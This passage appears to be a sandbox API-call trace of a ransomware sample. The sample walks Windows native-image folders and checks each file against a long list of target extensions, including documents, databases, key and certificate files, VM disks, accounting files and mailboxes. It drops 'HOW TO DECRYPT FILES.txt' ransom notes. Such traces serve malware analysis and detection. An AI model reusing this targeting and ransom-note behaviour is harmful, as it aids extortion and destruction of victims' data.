(lpString="*.pptx") returned 6 [0104.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.doc") returned 0 [0104.589] lstrlenA (lpString="*.doc") returned 5 [0104.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.dot") returned 0 [0104.589] lstrlenA (lpString="*.dot") returned 5 [0104.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.docx") returned 0 [0104.589] lstrlenA (lpString="*.docx") returned 6 [0104.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.7z") returned 0 [0104.589] lstrlenA (lpString="*.7z") returned 4 [0104.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.tar") returned 0 [0104.589] lstrlenA (lpString="*.tar") returned 5 [0104.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.bz2") returned 0 [0104.589] lstrlenA (lpString="*.bz2") returned 5 [0104.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.gz") returned 0 [0104.589] lstrlenA (lpString="*.gz") returned 4 [0104.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.mkv") returned 0 [0104.590] lstrlenA (lpString="*.mkv") returned 5 [0104.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.eml") returned 0 [0104.590] lstrlenA (lpString="*.eml") returned 5 [0104.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.msg") returned 0 [0104.590] lstrlenA (lpString="*.msg") returned 5 [0104.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.edb") returned 0 [0104.590] lstrlenA (lpString="*.edb") returned 5 [0104.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.accdb") returned 0 [0104.590] lstrlenA (lpString="*.accdb") returned 7 [0104.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.odb") returned 0 [0104.590] lstrlenA (lpString="*.odb") returned 5 [0104.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.java") returned 0 [0104.590] lstrlenA (lpString="*.java") returned 6 [0104.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.asm") returned 0 [0104.590] lstrlenA (lpString="*.asm") returned 5 [0104.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.pfx") returned 0 [0104.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.pem") returned 0 [0104.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.p12") returned 0 [0104.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.gpg") returned 0 [0104.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.vsd") returned 0 [0104.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.odg") returned 0 [0104.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.raw") returned 0 [0104.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.nef") returned 0 [0104.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.svg") returned 0 [0104.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.psd") returned 0 [0104.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.vmx") returned 0 [0104.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.vmdk") returned 0 [0104.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.vdi") returned 0 [0104.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.lay6") returned 0 [0104.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.mpeg") returned 0 [0104.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.djvu") returned 0 [0104.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.tiff") returned 0 [0104.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.backup") returned 0 [0104.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.pdf") returned 0 [0104.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.cert") returned 0 [0104.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.docm") returned 0 [0104.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.xlsm") returned 0 [0104.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.dwg") returned 0 [0104.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.nd") returned 0 [0104.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.tlg") returned 0 [0104.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.lgb") returned 0 [0104.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.mov") returned 0 [0104.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.xdw") returned 0 [0104.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.ods") returned 0 [0104.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.wav") returned 0 [0104.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.mp3") returned 0 [0104.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.aiff") returned 0 [0104.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.flac") returned 0 [0104.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.m4a") returned 0 [0104.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.csv") returned 0 [0104.594] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bf600, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xa5bf600, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xa631a21, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x194e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationUI.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 0 [0104.594] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.594] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c9fa2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xa6c9fa2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xa6c9fa2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6f4c8aeb8f066adf5cafedbec0cac415", cAlternateFileName="6F4C8A~1")) returned 0 [0104.594] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.595] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8f0783, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb8f0783, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb8f0783, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x730065, cFileName="ReachFramework", cAlternateFileName="REACHF~1")) returned 1 [0104.595] lstrcmpA (lpString1=".", lpString2="ReachFramework") returned -1 [0104.595] lstrcmpA (lpString1="..", lpString2="ReachFramework") returned -1 [0104.595] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.595] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="ReachFramework" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework" [0104.595] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8f0783, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb8f0783, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb8f0783, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.596] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.596] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8f0783, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb8f0783, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb8f0783, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.596] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.596] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.597] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8f0783, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb8f0783, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb8f0783, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="7073e12b4c349a6ad94522e465e4f4ed", cAlternateFileName="7073E1~1")) returned 1 [0104.597] lstrcmpA (lpString1=".", lpString2="7073e12b4c349a6ad94522e465e4f4ed") returned -1 [0104.597] lstrcmpA (lpString1="..", lpString2="7073e12b4c349a6ad94522e465e4f4ed") returned -1 [0104.597] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\*.*") returned="*.*" [0104.597] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\", lpString2="7073e12b4c349a6ad94522e465e4f4ed" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed" [0104.597] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8f0783, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb8f0783, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb8f0783, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.597] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.597] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8f0783, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb8f0783, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb8f0783, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.597] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.597] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.598] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e5de1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb7e5de1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb858202, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x20ea00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ReachFramework.ni.dll", cAlternateFileName="REACHF~1.DLL")) returned 1 [0104.598] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.598] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ReachFramework.ni.dll") returned -1 [0104.598] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ReachFramework.ni.dll") returned -1 [0104.598] lstrcmpiA (lpString1="", lpString2="ReachFramework.ni.dll") returned -1 [0104.598] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\*.*") returned="*.*" [0104.598] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\" [0104.598] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\") returned="" [0104.598] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\HOW TO DECRYPT FILES.txt" [0104.598] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\reachframework\\7073e12b4c349a6ad94522e465e4f4ed\\how to decrypt files.txt")) returned 0xffffffff [0104.598] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\reachframework\\7073e12b4c349a6ad94522e465e4f4ed\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.599] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.601] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.601] CloseHandle (hObject=0x90) returned 1 [0104.601] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\", lpString2="ReachFramework.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll" [0104.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.ems") returned 0 [0104.602] lstrlenA (lpString="*.ems") returned 5 [0104.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.db") returned 0 [0104.602] lstrlenA (lpString="*.db") returned 4 [0104.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.dbf") returned 0 [0104.602] lstrlenA (lpString="*.dbf") returned 5 [0104.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.myox") returned 0 [0104.602] lstrlenA (lpString="*.myox") returned 6 [0104.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.myo") returned 0 [0104.602] lstrlenA (lpString="*.myo") returned 5 [0104.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.qbw") returned 0 [0104.602] lstrlenA (lpString="*.qbw") returned 5 [0104.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.qbb") returned 0 [0104.602] lstrlenA (lpString="*.qbb") returned 5 [0104.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.qbm") returned 0 [0104.602] lstrlenA (lpString="*.qbm") returned 5 [0104.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.qbo") returned 0 [0104.602] lstrlenA (lpString="*.qbo") returned 5 [0104.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.qbx") returned 0 [0104.602] lstrlenA (lpString="*.qbx") returned 5 [0104.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.qba") returned 0 [0104.602] lstrlenA (lpString="*.qba") returned 5 [0104.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.qby") returned 0 [0104.603] lstrlenA (lpString="*.qby") returned 5 [0104.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.qbj") returned 0 [0104.603] lstrlenA (lpString="*.qbj") returned 5 [0104.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.ofx") returned 0 [0104.603] lstrlenA (lpString="*.ofx") returned 5 [0104.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.qif") returned 0 [0104.603] lstrlenA (lpString="*.qif") returned 5 [0104.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.mye") returned 0 [0104.603] lstrlenA (lpString="*.mye") returned 5 [0104.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.mbox") returned 0 [0104.603] lstrlenA (lpString="*.mbox") returned 6 [0104.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.eml") returned 0 [0104.603] lstrlenA (lpString="*.eml") returned 5 [0104.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.pst") returned 0 [0104.603] lstrlenA (lpString="*.pst") returned 5 [0104.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\ReachFramework\\7073e12b4c349a6ad94522e465e4f4ed\\ReachFramework.ni.dll", pszSpec="*.ost") returned 0 [0104.603] lstrlenA (lpString="*.ost") returned 5 [0104.603] PathMatchSpecA 